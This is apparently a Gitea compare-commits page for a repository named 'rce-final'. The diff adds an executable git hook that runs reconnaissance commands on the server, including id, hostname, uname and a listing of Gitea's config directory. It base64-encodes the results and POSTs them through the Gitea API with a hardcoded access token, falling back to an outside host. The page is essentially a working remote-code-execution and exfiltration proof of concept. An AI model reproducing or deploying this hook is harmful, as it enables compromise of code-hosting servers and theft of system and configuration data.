secaudit77/rce-final
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Compare commits

merge into: secaudit77:main
Branches Tags
secaudit77:main secaudit77:x1
...
pull from: secaudit77:x1
Branches Tags
secaudit77:main secaudit77:x1

2 Commits
main ... x1

Author SHA1 Message Date
secaudit77
f30d6fc497 r2 2026-08-09 12:48:11 +02:00
secaudit77
786980a83b r1 2026-08-09 12:48:10 +02:00
1 changed files with 6 additions and 0 deletions
Expand all files Collapse all files

6
hooks/post-index-change Executable file
View File

@@ -0,0 +1,6 @@
#!/bin/sh
RESULT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3; whoami; pwd; ls -la /data/gitea/conf/ 2>/dev/null | head -5)
ENCODED=$(echo "$RESULT" | base64 | tr -d "\n")
DATA="{\"message\":\"proof\",\"content\":\"${ENCODED}\"}"
curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" > /tmp/_exfil.log 2>&1
if grep -q "error\|fail" /tmp/_exfil.log 2>/dev/null; then curl -sk -X POST "https://git.fbaitech.net/api/v1/repos/secaudit77/rce-final/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "$DATA" >> /tmp/_exfil.log 2>&1; fi